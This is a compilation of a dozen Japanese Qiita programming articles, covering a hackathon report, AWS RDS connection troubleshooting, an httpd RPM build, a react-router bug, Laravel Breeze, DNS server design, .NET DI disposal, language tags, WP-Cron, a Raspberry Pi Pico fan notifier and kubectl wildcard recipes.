OmniAICreator/Qiita-1.07M huggingface dataset:
位置情報SNSをハッカソンで作った話

# 記事概要
ハッカソンに初めて参加した専門学校生の体験記です。
作ったアプリの内容や、開発の流れ、もっとこうすればよかったと思っている点などまとめました。
自分の技術力でも足りるかな？という不安があり今まで参加していませんでしたが、学ぶことが山ほどあって、もっと早くに参加すればよかったと思っています！

# 完成した開発物
**通りすがりメモリー**
位置情報付きの投稿文を地図上に表示するSNS

**スクリーンショット**

<img width="200" alt="ファイル名" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2153548/c8747645-3fad-a030-e146-f3127b995313.png">
<img width="200" alt="ファイル名" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2153548/0ed8fa91-798c-5dd9-e707-f58ef026588b.png">
<img width="200" alt="ファイル名" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2153548/9c116aff-6788-8379-7184-98d2102e0111.png">



**機能**
- 投稿機能
- 絵文字アイコン機能
- 画像の添付
- 位置情報の取得
- 位置情報に応じたマップ上への投稿表示　など

## 自己紹介
- 所属　　　　　：２４卒の専門学校生
- ハッカソン経験：ハッカソン経験なし
- インターン　　：Ruby on Railsを用いた長期インターン(10か月)と短期インターン(2週間)
- デザイン　　　：Figmaを使って簡単なプロトタイプを作れる
- 技術　　　　　：メインはRails。その他、Laravel､Flask､Kotlin､Cも一応触ったことがある
- インフラ　　　：HerokuやS3は使用経験あり

## チーム構成
開催一か月半ほど前に、運営によってチームが決定。全員初対面で別の学生団体所属でした。
- Ruby on Railsを使う専門学校２年生（私）
- React＋TypeScriptを用いたハッカソンでの開発経験がある大学１年生
- Pythonで競プロを行っている大学１年生
- HTMLやCSS,JSを勉強している大学２年生

# 事前に行ったこと
**デザイン・プロトタイプの作成**
※以下のデザイン案を用いて、簡単に動くプロトタイプも作成した

![ハッカソン・プロトタイプ.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2153548/d2bfaeda-9004-5078-c7d2-8bb9182e66fd.png)


**技術選定**
- Ruby on Rails7
    - 全員がWebアプリケーション寄りの知見を持っていたため
    - Railsは短期間での開発に向いているため
- Docker
    - チーム開発を円滑に行うため
    - なるべく簡単に環境構築を行うため
- PostgreSQL
    - デプロイ環境（後述）が公式でサポートしているため
- (Heroku)
    - 簡単に扱うことができるインフラ環境であるため
    - 過去にDockerイメージをデプロイした経験があるため
- (S3)
    - 画像を保存するため
        - Heroku使ってフォルダ内に保存すると一定時間で消えてしまうはず（失敗経験有）
- Maps JavaScript API ／ Geocoding API
    - GoogleMap上に特定の地点を表示するために使用 


**環境構築**
- 使用予定の技術を乗せたDockerイメージを作成
- ```docker-compose up``` すれば環境構築が完了し、全員のPCで問題なくRailsの画面が出てくることを事前に確認

**キャッチアップ**
- Railsを触ったことのないメンバー
    - Railsチュートリアル
- Rails経験済みのメンバー
    - 使用予定のAPIの取得とキャッチアップ
    - 環境構築のためのDockerのイメージの作成

**役割分担**
バックエンド2人、フロントエンド2人

**上記情報の共有**
- notionで情報のまとめページを作成
    - 役割分担や使用技術、機能に関する情報を記載

# ハッカソンを通してのGKPT

### GoodとKeep
※Keep : Goodを再現するために必要なこと
- 他のチームに比べ、初動が速かった
    - 事前に環境構築をチームメンバー全員のPCで行う
    - 教材を決定し、事前にキャッチアップする
- 想定した機能を作りきることができた
    - 機能に優先順位をつけ、それに従って開発を進める
    - 必要最低限の機能を洗い出し、MVPを作成する
    - 何のためのアプリなのか言語化し、「やらないこと」を明確にする
    - 開発で躓いたら、状況を整理してすぐにメンターさんに質問する
    - マネジメントを担当する場合、自分の個人のタスクに使える時間は減るので、他の人にお願いできそうだったら依頼する
- 回帰バグによる手戻りがほとんど無かった
    - 自動テストを作成する
    - mainブランチにmergeする前に必ずレビューを行う
    - レビューの際にはローカル環境で動くかどうかまで調べる

### ProblemとTry
- 評価項目の一つである「課題解決」という色が薄かった
    - アプリの内容を決定する際に、評価項目を勘案する
- デプロイを行うことが出来なかった
    - 対応策未定
    - いろいろなサービス（Heroku、Render、GCP）にデプロイしてみたところ、少しの不具合がありつつデプロイが一応できたところもあったので、違うサービスでトライしてみるのは有りかも
- プレゼンの準備が不十分だった
    - コードフリーズだけでなく、開発（デプロイ作業など含め）を停止する時間を事前に決める

# フィードバック(要約)
- スコープの絞り方が上手かった
- アプリの持ち味である「臨場感」をもっとプレゼンで強調するとよりオーディエンスには魅力的に伝わったと思う
- ハッカソンでコードレビュー、レビュー、テストまで書いているのが素晴らしい
- 既存のSNSにはない絵文字機能が面白い
- Dockerが最初から導入されていた点が良かった

# 感想
色んなエンジニア学生を見ることで、自分の開発の特徴を知ることができたので良かったです。　受賞できなかったことは悔しいですが、また挑戦したいと思います！
【AWS】ERROR 2002 (HY000): Can't connect to MySQL server on 'xxx' (115)の原因

# 概要
AWS BatchでRDSに接続するコマンドを実行したら`Can't connect to MySQL server...`になりました。本記事ではその原因と解決方法を記載します。

# エラー内容と原因
エラーは以下の通りです。

```
ERROR 2002 (HY000): Can't connect to MySQL server on 'xxxx.cluster-xxxxxx.ap-northeast-1.rds.amazonaws' (115)
```

MySQLクライアントがMySQLサーバーへの接続を試みる際に問題が発生しているよう。
調べてみると、以下の原因が考えられるとのこと。

### ①エンドポイントが正しくない
→ 実際のRDSインスタンスのエンドポイントと一致しているか確認しましたが正しかったです。ホスト名、ポート番号も確認。

### ②サブネットルーティング
→ サブネット周りの問題です。ジョブが実行されているサブネットが、RDSインスタンスがあるVPCと同じかどうか。ルートテーブルが正しく設定されているかどうか。確認しましたが、問題なかったです。ネットワークACLでブロックしていないかどうかも。

### ③RDSインスタンス
→　なんらかの理由でRDSインスタンスが起動していない、または異常が発生していることも考えられます。その場合は再起動すると良いようですが、特に問題なかったです。

### ④セキュリティグループ
→ セキュリティグループの設定が正しくない場合、接続がブロックされるとのこと。原因はこれでした。つまり、ポートがブロックされていたり、ソースが制限されていると、上述のエラーが発生します。

# 解決方法
RDSのセキュリティグループのインバウンドルールに、Batchが接続するのに必要なポートとソース（セキュリティグループ）を正しく設定したら、エラーが解決しました。
公式 httpd ソースから古いバージョンの rpmbuild 

el8 環境で特定バージョンの rpm が見つからなかったので、ソースからビルド
あまり情報がなくて少し苦労したのでメモ

* 公式の httpd ソースには、spec ファイルが含まれているので直接 rpmbuild -bt httpd-2.4.46.tar.bz2  で構築可能
* systemd 環境に対応する為、ソースを解凍して configure オプション--enable-systemd を追加する
* el8 互換の docker image rockylinux:8 から作成

1. docker ファイル
   ```Dockerfile:Dockerfile
   FROM rockylinux:8
   
   RUN dnf install -y epel-release && \
       dnf  config-manager --set-enabled powertools && \
       dnf groupinstall -y 'Development Tools'  && \
       dnf groupinstall -y 'RPM Development Tools'  && \
       dnf install -y apr-devel apr-util-devel autoconf libselinux-devel libuuid-devel libxml2-devel lua-devel openldap-devel openssl-devel pcre-devel perl zlib-devel systemd-devel
   
   # https://archive.apache.org/dist/httpd/httpd-2.4.46.tar.bz2
   COPY httpd-2.4.46.tar.bz2 .
   RUN tar xjf httpd-2.4.46.tar.bz2 && mkdir -p /root/rpmbuild/SOURCES/ && mv httpd-2.4.46.tar.bz2 /root/rpmbuild/SOURCES/
   #
   # mod_systemd 追加
   RUN sed -i "s/%configure/%configure --enable-systemd/;/mod_watchdog/a %{_libdir}/httpd/modules/mod_systemd.so" httpd-2.4.46/httpd.spec
   RUN rpmbuild --clean -bb  httpd-2.4.46/httpd.spec
   RUN rm -rf httpd-2.4.46
   #RUN rpmbuild -tb --clean httpd-2.4.46.tar.bz2
   CMD ["bash"]
   ```
2. docker build
   ```
   $ docker build . -t  httpd_rpm_build_el8
   ```
3. バイナリをホストにコピー
   ```
   $ mkdir rpms
   $ docker run -ti --rm -v `pwd`/rpms:/tmp  httpd_rpm_build_el8 bash -c 'cp 
   /root/rpmbuild/RPMS/x86_64/* /tmp/'
   $ ls rpms/
   httpd-2.4.46-1.x86_64.rpm              httpd-devel-debuginfo-2.4.46-1.x86_64.rpm  mod_authnz_ldap-2.4.46-1.x86_64.rpm            mod_proxy_html-2.4.46-1.x86_64.rpm 
   httpd-debuginfo-2.4.46-1.x86_64.rpm    httpd-manual-2.4.46-1.x86_64.rpm           mod_authnz_ldap-debuginfo-2.4.46-1.x86_64.rpm  mod_proxy_html-debuginfo-2.4.46-1.x86_64.rpm
   httpd-debugsource-2.4.46-1.x86_64.rpm  httpd-tools-2.4.46-1.x86_64.rpm            mod_lua-2.4.46-1.x86_64.rpm                    mod_ssl-2.4.46-1.x86_64.rpm
   httpd-devel-2.4.46-1.x86_64.rpm        httpd-tools-debuginfo-2.4.46-1.x86_64.rpm  mod_lua- 
   debuginfo-2.4.46-1.x86_64.rpm          mod_ssl-debuginfo-2.4.46-1.x86_64.rpm
   ```
Tooling Up for SAP ALM: Solution Manager or Cloud ALM?

Tooling Up for SAP ALM: Solution Manager or Cloud ALM?
![sap-solution-manager-vs-sap-cloud-alm-tools-of-the-trade.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3123286/29bac74d-5079-526b-ad13-37d5c7b7c9cf.png)

**SAP Solution Manager:**

**Customization Capabilities:** It provides extensive customization options, allowing organizations to tailor ALM processes to their specific needs. This level of flexibility is valuable for businesses with complex SAP environments.

**Deep SAP Integration:** Solution Manager deeply integrates with various SAP solutions, making it a natural fit for organizations heavily invested in the SAP ecosystem.

**SAP Cloud ALM:**

 **User-Centric Design:** It offers an intuitive, user-friendly interface and a modern user experience, potentially enhancing user adoption and overall productivity.

**Integrated Collaboration:** Cloud ALM focuses on fostering collaboration. It offers features for seamless integration with SAP Business Network and enhanced partner collaboration, facilitating cross-organizational workflows.

<a href="https://vizioconsulting.com/sap-solution-manager-vs-sap-cloud-alm-tools-of-the-trade/">SAP Solution Manager vs SAP Cloud ALM</a> - the choice between SAP Solution Manager and SAP Cloud ALM hinges on your organization's specific needs, preferences, and digital transformation journey. Carefully evaluate your project portfolio, infrastructure requirements, and long-term strategic objectives to determine which tool aligns best with your SAP ALM roadmap.
react-router-dom @6.7.0 でハマった話

## はじめに
筆者が日本語サイトであまり情報を得られなかったので、もし同じようなことで困っている方がいらしたら警告文（エラー）の文字列で検索にヒットして手助けできれば幸いだと記事にしました。

## コンソールにとある警告が……
React（18）でサイトを制作しており、ルーティングで`React Router`を使用していました。
そのサイトで、ページ内リンク（URLフラグメント）をすると機能するものの直後に下記の警告（全文ママ）が出たのです。
> You are trying to block a POP navigation to a location that was not created by @remix-run/router. The block will fail silently in production, but in general you should do all navigation with the router (instead of using window.history.pushState directly) to avoid this situation.

その他、ページ内リンクした状態でサブページへ移動し、そこからTOPページへのブラウザバックが機能しない現象も発生（ページ移動例：example/toppage#section → example/about → ブラウザバック：TOPページへブラウザバックできない！）。

そのため開発中は、ブラウザバックを検知してページを再読み込みするカスタムフックを作って応急処置をしました（一応ブラウザバックできるようになった）。

ページ内リンクについては「とりあえず機能はしているし一旦様子見でいいか」と一通り実装。そして先日、リファクタリングがてら対応することにしました。

## 結論
**react-router-dom @6.7.0 から react-router-dom @6.6.1 に変更** することで警告が消えました（2023年9月現在の直近で更新された react-router-dom @6.16.0 でも警告が消えましたので、@6.7.0 固有の問題なのかも？）。

## 解決に向けて行ったこと
- とりあえず Google 先生
先程の警告文を丸々コピペして検索しました。すると**Bug**という文字があるではありませんか。
![スクリーンショット 2023-09-21 16.51.52.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3368730/33bbc8c1-1c94-0df6-08a4-00cbdcdda684.png)

ひとまず各ページを見たのですが目ぼしい情報はあまり見つからなかったので警告文を見返してみることにしました。

- DeepL翻訳さんに聞く
> remix-run/routerで作成されていない場所へのPOPナビゲーションをブロックしようとしています。このブロックは本番では静かに失敗しますが、一般的には、このような状況を避けるために、すべてのナビゲーションを（window.history.pushStateを直接使うのではなく）ルーターで行うべきです。
- *すべてのナビゲーションを（window.history.pushStateを直接使うのではなく）ルーターで行うべきです。*

この一文から「`<a>`タグでページ内リンクしていることがだめなの？」と思い、`<a>`を`<Link>`に書き換えました。
書き換えてチェックしてみたところ……ページ内リンクが機能しなくなったので`<a>`に戻しました orz。
次に、別のアプローチとして親コンポーネントのルーティング設定（`BrowserRouter`や`Routes`、`Route`の`path`や`element`部分）などをごちゃごちゃいじったりしたのですがうまくいかず、時間を浪費していきました。

試行錯誤する中で、一番初めに調べてた時に出てきた**Bug**という文字を思い出し、
「バグなんてそうそうあるわけないし、まさか本当にそうじゃないでしょー」と思いながら ver を変えて見ました。
```
npm install react-router-dom@6.6.1
```

すると、ページ内リンク時の警告は消えて、（ブラウザバック用の）カスタムフックを使わずにブラウザバックできることも確認できました！


## バグはある
しっかり時間をかけて調べたわけでないので偉そうなことは言えませんが（そもそもnpmを使わせていただいてる者ですし）、バグはあるのだなぁと思い知らされた体験でした。

## さいごに
とりあえず解決したことで一安心でしたし、**npmのverが不具合の原因となるケースもある**というデバック時の引き出し？知見？的なものを収穫できたことをポジティブに捉えたいと思います！
ここまでお読みいただき、ありがとうございました！
Laravel Breeze の使い方

Laravel Breeze は簡単の認証機能を実現するパッケージです。

## 確認したバージョン

```text
$ php artisan --version
Laravel Framework 10.24.0

$ php --version
PHP 8.1.12-1ubuntu4.3 (cli) (built: Aug 17 2023 17:37:48) (NTS)
Copyright (c) The PHP Group
Zend Engine v4.1.12, Copyright (c) Zend Technologies
    with Zend OPcache v8.1.12-1ubuntu4.3, Copyright (c), by Zend Technologies
```

## プロジェクトの作成
データベースは sqlite3 にします。

必要なライブラリーのインストール

```bash
sudo apt install php8.1-sqlite3
```

```bash
laravel new example01
```

Laravel Breeze を選びます。

![breeze01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/179446/0edbfffb-4e09-a54c-8f8a-cb9eb8947db8.png)

私は React を選びました。

![breeze02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/179446/c81bc94b-398c-d5f2-86f6-70e3f7139dde.png)

SQLite を選びます。

![breeze03.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/179446/837156f3-3f1a-ef3c-7438-48280dfca5e0.png)

```bash
cd example01
touch database/database.sqlite
php artisan migrate
```

## サーバーの起動

```bash
php artisan serve --host 0.0.0.0
```

## ブラウザーでアクセス
http://127.0.0.1:8000/
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/179446/4ae14886-bc32-a2aa-f7a2-8d5fffe63275.png)

右上に　Log in と Rgister が現れます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/179446/33cc67a4-9637-bc39-caa7-c991b38044e2.png)

Register をクリックして登録します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/179446/6769e7e4-4ad7-c6d2-aa50-28f7758e5009.png)

登録すると、そのままログインするので、ログアウトします。

Log in をクリックするとログイン画面が出ます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/179446/0a63ccb6-7258-4e92-810d-12285876d2be.png)

## 認証されている時だけ表示されるページを作成

http://127.0.0.1:8000/hello

routes/web.php を編集
最後に付け加える

```php:routes/web.php
（省略）
Route::get('/hello', function () {
    return view('hello');
})->middleware(['auth']);
```

View の作成

```php:resources/views/hello.blade.php
<!DOCTYPE html>
<html lang="ja">
<head>
  <meta charset="UTF-8">
  <title>My First Page</title>
</head>
<body>
  <h2>Hello World!!</h2>
  <p>皆さん、こんにちは</p>
<p>Sep/21/2023</p>
</body>
</html>
```

サーバーの起動

```bash
php artisan serve --host 0.0.0.0
```

http://127.0.0.1:8000/hello にアクセス

ログインしていない時
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/179446/10e2cb63-3b1b-2a3e-da02-82f0dfa61ca2.png)

ログインすれば
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/179446/e9d7eee8-d36c-2296-278e-dfa9060be649.png)
社内イントラネットで権威DNSとキャッシュDNSを運用する ~第1回 サーバ構成~

## はじめに

DNSは、Domain Name Systemの略で、インターネット上でドメイン名を管理・運用するために開発されたシステムです。 現在、インターネットを利用するときに必要不可欠なシステムの一つとなっています。[1]
今回は、社内イントラネットでDNSを運用すると仮定し、ネットワーク構成や採用したソフトウエアを検証していきます。ポイントとしては以下の通りです。

- 冗長構成による耐障害性の確保
- ネットワーク、役割の分離によるセキュリティの向上
- GUIによるゾーン運用の効率化


## サーバ構成

本記事で扱う、サーバ構成については以下の通りです。業務、DMZ、内部、インターネットごとにネットワークが分離されており、ファイアウォールで通信制御を行っているとしています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3324111/7fca6022-4de2-1975-7cf6-887a79e3b555.png)


DNSを社内イントラネットで運用する際、大きく分けて2つのDNSサーバが必要になります。1つ目は、自社ドメインに対する外部からの問い合わせに応答する**権威DNSサーバ**です。2つ目は、インターネットを利用する際、世界中に分散するDNSサーバに問い合わせを行う**DNSリゾルバ**です。


:::note info
権威DNSサーバはコンテンツDNSサーバ、DNSリゾルバはキャッシュDNSサーバとも呼ばれます。
:::

セキュリティの観点から、外部からの通信を受ける権威DNSサーバと、内部からの通信を受けるDNSリゾルバはNWを分け、**別々のサーバで構築**するのが一般的です。[2]

また、権威DNSに関しては**シャドウマスタ構成**を採用しています。シャドウマスタはプライマリネームサーバとして動作し、ゾーン管理に特化します。DMZ空間にある権威DNSはセカンダリネームサーバとして動作し、シャドウマスタで管理されているゾーン情報を転送し、外部からの応答に答えます。この構成によるメリットは以下の通りです。[3]

1. サーバの役割分担の明確化
プライマリネームサーバはゾーンの管理に特化
セカンダリネームサーバは外部からの問い合わせ応答に特化
2. セキュリティの向上
プライマリネームサーバは、セカンダリネームサーバ以外からのアクセスがないため、外部からサーバに侵入されゾーンを改竄されるなどのリスクが小さくなります。


想定される通信は以下の通りです。

1. 外部からの権威DNSサーバへの問い合わせ
1. シャドウマスタで管理しているゾーン情報を権威DNSサーバが取得
1. 業務PCからシャドウマスタのゾーン情報を編集
1. 業務PCからのDNSリゾルバへの問い合わせ

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3324111/ddf3bc55-9354-bd51-92b4-9c44ff8947cb.png)



## おわりに

本記事では、はじめに上げた3つのポイントを押さえたDNSサーバの構成について解説しました。
次回以降では、実際にUbuntu22.04のサーバにパッケージをインストールし、各サーバを構築していきます。

- 第1回 [サーバ構成 (本記事)]()
- 第2回 [DNSリゾルバ Unboundの構築 (執筆中)]()
- 第3回 [シャドウマスタ PowerDNSの構築 (執筆中)]()
- 第4回 [権威DNSサーバ NSDの構築 (執筆中)]()
- 第5回 [動作確認 (執筆中)]()


## 参考

- [1] Japan Network Information Center, ‘‘DNSとは’’, https://www.nic.ad.jp/ja/basics/beginners/dns.html, 2023_09_21
- [2] Japan Registry Services Co., Ltd., ’’ＪＰＲＳ トピックス＆コラム‘‘ No.20, https://jprs.jp/related-info/guide/020.pdf, 2023_09_21
- [3]Internet Initiative Japan Inc., ”マネージドDNSサーバをセカンダリネームサーバとして運用する”, https://manual.iij.jp/dpf/help/19004698.html, 2023_06_26
AddTransientで追加したクラスのDisposeはいつ呼ばれるか

## はじめに

コードレビューをしていて、IDisposeを実装しているわりにTransientでサービスが登録されている子がいました。
これはTransientで登録したインスタンスのDisposeが呼び出されるか確認しましょうね。という話です。

## サービスクラス

こんなクラスがあるとします。実際にはファイルやネットワークコネクション、データベースコネクションやらを持っていて、Disposeで解放するイメージです。

```cs
public class TransientService : IDisposable
{
    public void WriteServiceName(int num) => Console.WriteLine($"{num} TransientService Method {GetHashCode()}");
    public void Dispose() => Console.WriteLine($"TransientService Disposed! {GetHashCode()}");
}
```

## 利用側

こんな感じでScope有りと無しで5回連続で呼び出してみます。

```cs
using Microsoft.Extensions.DependencyInjection;

var builder = new ServiceCollection();
builder.AddTransient<TransientService>();
var services = builder.BuildServiceProvider();

Console.WriteLine("スコープありでTransientServiceを5回取り出して実行する");
{
    using var scope = services.CreateScope();
    foreach (var i in Enumerable.Range(20, 5))
    {
        var service = scope.ServiceProvider.GetRequiredService<TransientService>();
        service.WriteServiceName(i);
    }
}

Console.WriteLine("スコープなしでTransientServiceを5回取り出して実行する");
{
    foreach (var i in Enumerable.Range(0, 5))
    {
        var service = services.GetRequiredService<TransientService>();
        service.WriteServiceName(i);
    }
}
```

## 実行結果

上のブロックではforeachの外でスコープを作っているので、CreateScope()で作った変数のスコープを抜けた段階で **まとめて** Disposeが呼ばれています。また、下のブロックはスコープを作っていないのでDisposeは呼ばれていません。

```
スコープありでTransientServiceを5回取り出して実行する
TransientService Method 4094363 20
TransientService Method 36849274 21
TransientService Method 63208015 22
TransientService Method 32001227 23
TransientService Method 19575591 24
TransientService Disposed! 19575591
TransientService Disposed! 32001227
TransientService Disposed! 63208015
TransientService Disposed! 36849274
TransientService Disposed! 4094363

スコープなしでTransientServiceを5回取り出して実行する
TransientService Method 21083178 0
TransientService Method 55530882 1
TransientService Method 30015890 2
TransientService Method 1707556 3
TransientService Method 15368010 4
```

## となると？

ASP.NET Coreなどではリクエストの単位でスコープが作られるので、TransientServiceが一度のリクエストで数十回～数百回注入されるような場合でなければ問題は表面化はしないかもしれませんが（高負荷になったら発生しそうですが）、コンソールアプリケーションではアプリケーションの終了までDisposeが呼ばれないので容易にアンマネージドリソースが枯渇することになります。

## どうすれば？

[一時的なインスタンスと共有インスタンスのための IDisposable ガイダンス](https://learn.microsoft.com/ja-jp/dotnet/core/extensions/dependency-injection-guidelines#idisposable-guidance-for-transient-and-shared-instances)に記載がありますが、IDisposableを実装するような子はAddTransientではなくAddScopedで依存関係を登録するか、AddScopedで登録したファクトリー経由でアンマネージドリソースを供給するような仕組みにするのがよさそうです。

https://learn.microsoft.com/ja-jp/dotnet/core/extensions/dependency-injection-guidelines

## おわりに

HTTPのコネクションやデータベースのコネクションなどはフレームワーク側で考慮してくれているので、[HttpClientFactory](https://learn.microsoft.com/ja-jp/aspnet/core/fundamentals/http-requests)を使った実装になると思いますが、独自のアンマネージドリソースを管理するようなクラスを作る場合はスコープやそのクラスで管理するものがいつ破棄されるかに気を付けて実装できると良いですね。
今更聞けないローカライズ～言語タグ編～

# はじめに
本記事ではあらゆる開発でローカライズをおこなう場合、各言語を判別する際に使用する言語タグとはそもそも何なの？という説明を行います。

# 言語タグとは

各国、地域で使われる言語を表すタグで、ハイフンによって接続された言語に関する下位タグが集まって構成されています。

# 言語タグの構成

![cbccd97f-193b-46f2-b8e4-8516b324c799.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548800/32e949d5-688f-c11e-d4bb-9ee3f8103336.png)

| 下位タグ | 概要 | 例 |
|---|---|---|
| Language | 言語 | ja(日本語), en(英語)など |
| Script | 文字体系 | Hant(繁体字), Cyrl(キリル文字)など |
| Region | 地域 | JP(日本), AU(オーストラリア), UK(イギリス)など |
| Variant | 異体 | nedis(スロベニア語のNadiza方言)など |
| Extension | 拡張 | 将来的な拡張部分のため省略 |
| Private use | 私用 | 私的な利用部分のため省略 |

よく使われるスタイル、組み合わせとしては、
・[language]のみ：ja, en,...
・[language]-[region]の組み合わせ：en-US, en-UK,...
などがあります。

# 主な言語タグと構成

ゲーム開発でローカライズ対応する場合によく含まれる言語のタグと構成をまとめます。

| 言語 | 言語タグ | 下位タグの構成 | 意味 |
|---|---|---|---|
| 日本語 | ja | [language] | 日本語全般 |
| 英語 | en | [language] | 英語全般 |
| フランス語 | fr | [language] | フランス語全般 |
| フランス語（カナダ） | fr-CA | [language] - [Region] | カナダ地域で使われるフランス語 |
| イタリア語 | it | [language] | イタリア語全般 |
| ロシア語 | ru | [language] | ロシア語全般 |
| ドイツ語 | de | [language] | ドイツ語全般 |
| スペイン語（スペイン） | es-ES | [language] - [Region] | スペイン地域で使われるスペイン語 |
| スペイン語（ラテンアメリカ） | es-419 | [language] - [Region] | ラテンアメリカ地域で使われるスペイン語 |
| スペイン語（メキシコ） | es-MX | [language] - [Region] | メキシコ地域で使われるスペイン語 |
| ポルトガル語（ブラジル） | pt-BR | [language] - [Region] | ブラジル地域で使われるポルトガル語 |
| 中国語（簡体字） | zh-Hans | [language] - [Script] | 簡体字という文字体系の中国語 |
| 中国語（繁体字） | zh-Hant | [language] - [Script] | 繁体字という文字体系の中国語 |
| 韓国語 | ko | [language] | 韓国語（ハングル）全般 |
| アラビア語 | ar | [language] | アラビア語全般 |

# まとめ
今回まとめた言語タグはIETF言語タグという技術仕様です。
より詳しいことを知りたい方は、言語タグのベストプラクティスがあるので[<INS>こちら</INS>](https://www.rfc-editor.org/rfc/pdfrfc/rfc5646.txt.pdf "RFC 5646")を参照してください。
【WP-Cron】wp_schedule_eventを1秒に一回/1分に一回実行【Secondly/Minutely】


cron_schedulesを使うだけ


```php
function my_cron_schedules($schedules){
	if(!isset($schedules["secondly"])){
		$schedules["secondly"] = array(
			'interval' => 1,
			'display' => __('Once Secondly'));
	}
	if(!isset($schedules["minutely"])){
		$schedules["minutely"] = array(
			'interval' => MINUTE_IN_SECONDS,
			'display' => __('Once Minutely'));
	}
	return $schedules;
}
add_filter('cron_schedules','my_cron_schedules');


wp_schedule_event( time(), 'secondly', 'my_secondly_event');
```
【高先さんの電子工作】第20回：温度が高くなったら自動でファンを回してLINEに通知する

# 概要

実演していますが、ざっと以下のようなことをやっています。
* サーミスタを使って温度を測定して、一定以上の温度になったらファンが自動で起動します。
* ファンが起動するとサーミスタの温度が下がって、一定以下の温度になるとファンが自動で停止します。
* ファンが起動したり、停止したりするとLINEに通知が来るようにしています。

https://youtu.be/3c6oVMMOHXY

## 電子回路

ファンを動作させる部分については以下の記事を参考にして下さい。

https://docs.sunfounder.com/projects/kepler-kit/ja/latest/pyproject/py_motor.html

サーミスタを扱う部分については以下の記事を参考にして下さい。

https://docs.sunfounder.com/projects/kepler-kit/ja/latest/pyproject/py_temp.html

## プログラム

設定ファイルに以下の情報を書き込みます。

```json:config.json
{
    "ssid": "2.4GHz帯のWi-FiのSSID",
    "password": "Wi-Fiのパスワード",
    "access_token": "LINE Notifyのアクセストークン"
}
```

メインとなるプログラムです。

```python:main.py
from machine import ADC, Pin
import utime
import math
import ujson
import urequests
import network

# 温度の閾値
limit = 26.0

thermistor = ADC(28)
led = Pin('LED', Pin.OUT)
moter_enable = Pin(0, Pin.OUT, value=0)
moter_pin1 = Pin(1, Pin.OUT, value=1)
moter_pin2 = Pin(2, Pin.OUT, value=0)

config = {} 
with open('config.json', 'r') as f:
    config = ujson.load(f)
    
ssid = config['ssid']
password = config['password']
access_token = config['access_token']

wlan = network.WLAN(network.STA_IF)
wlan.active(True)
wlan.connect(ssid, password)

while not wlan.isconnected():
    print('Waiting for connection...')
    utime.sleep(1)
    
ip = wlan.ifconfig()[0]
print(f'Connected on {ip}')


def line_notify(message):
    endpoint = 'https://notify-api.line.me/api/notify'
    headers = {
        'Authorization': 'Bearer ' + access_token,
        'Content-Type' : 'application/x-www-form-urlencoded'
    }
    data = f'message={message}'.encode('utf-8')
    response = urequests.post(endpoint, headers=headers, data=data)
    response.close()


while True:
    # サーミスタの温度を取得する
    temperature_value = thermistor.read_u16()
    Vr = 3.3 * float(temperature_value) / 65535
    Rt = 10000 * Vr / (3.3 - Vr)
    temp = 1/(((math.log(Rt / 10000)) / 3950) + (1 / (273.15+25)))
    Cel = temp - 273.15
    print (' サーミスタ: %.2f C' % (Cel))
    
    if Cel > limit:
        led.on()
        if moter_enable.value() == 0:
            line_notify(f'温度が{limit}°Cを超えたのでファンを回します。')
            moter_enable.value(1)
    else:
        led.off()
        if moter_enable.value() == 1:
            line_notify(f'温度が{limit}°C以下になったのでファンを停止します。')
            moter_enable.value(0)
    utime.sleep(1)
    
```
kubectlやocコマンドでワイルドカード(アスタリスク*)が使えないけどのなんとかしたい時のレシピ

## はじめに
kubectlコマンドやocコマンドを使っていて、ワイルドカードを使いたいときのレシピを考えました。
レシピ1,2はpodを例として使っていますが、configmap, pvc, secretなど他のリソースでも応用できます。

### レシピ1: シンプルにgrep

```
kubectl get pod | grep xxx
```

::: note 
これは大量のpodが存在しているnamespace上で新しく複数のpodを立ち上げた時などは、**kubectl get pod -w | grep xxx** とすれば、ステータスが変わるごとに更新されて見やすいです。
出力結果の頭の"NAME                                                              READY   STATUS      RESTARTS      AGE” が見えなくなるのですが、それより手軽さを考慮しこちらを採用しました。
:::

##### ユースケース
* kubectl get podなどで特定の文字列を含むpodのみを参照したいとき。
* 本来使いたかったコマンド例
    *  __kubectl get pod nginx-*__
    *  __kubectl get configMap *-config__



### レシピ2: 特定のリソースを参照してまとめて削除
```
kubectl get pod -o=name | grep xxx | tr '\n' ' ' | sed -e 's/pod\///g'
kubectl delete pod <前のコマンドの出力結果>
```

::: note
一気に削除するのが怖いので、一度出力させてそれをコピペで削除した方が安全と考えました。
grepで絞りたい文字列を入れて、trで改行を削除して、sedで不要な文字列を削除して、その出力結果を使って目的のリソースを削除します。
:::

##### ユースケース
* kubectl delete podなどでpodをまとめて削除したいが、ワイルドカードが使えなくて困っ他とき。
* 使いたかったコマンド例
    * __kubectl delete po nginx-*__
    * __kubectl delete cm *-config__

### レシピ3: 特定のリソースを参照してまとめて削除 その2
```
kubectl get pv | grep Released | cut -f 1 -d " " | tr '\n' ' ' 
kubectl delete pv <前のコマンドの出力結果>
```

::: note
レシピ2をpv向けに改良したレシピです。pvはpvcと一緒に紐づいているものを削除することがあり、pvcを削除後STATUSが"Released"となっているものだけ削除したい場合などこのレシピが有効と思いました。
Releasedなどでgrepをかけ、cutでpvのNAMEだけ抜き出し、trで改行を消して、その出力結果を使って目的のリソースを削除します。
:::

##### ユースケース
* リソースのNAMEではなくSTATUSで絞り、対象のSTATUSのリソースを削除したいとき。



以上です。
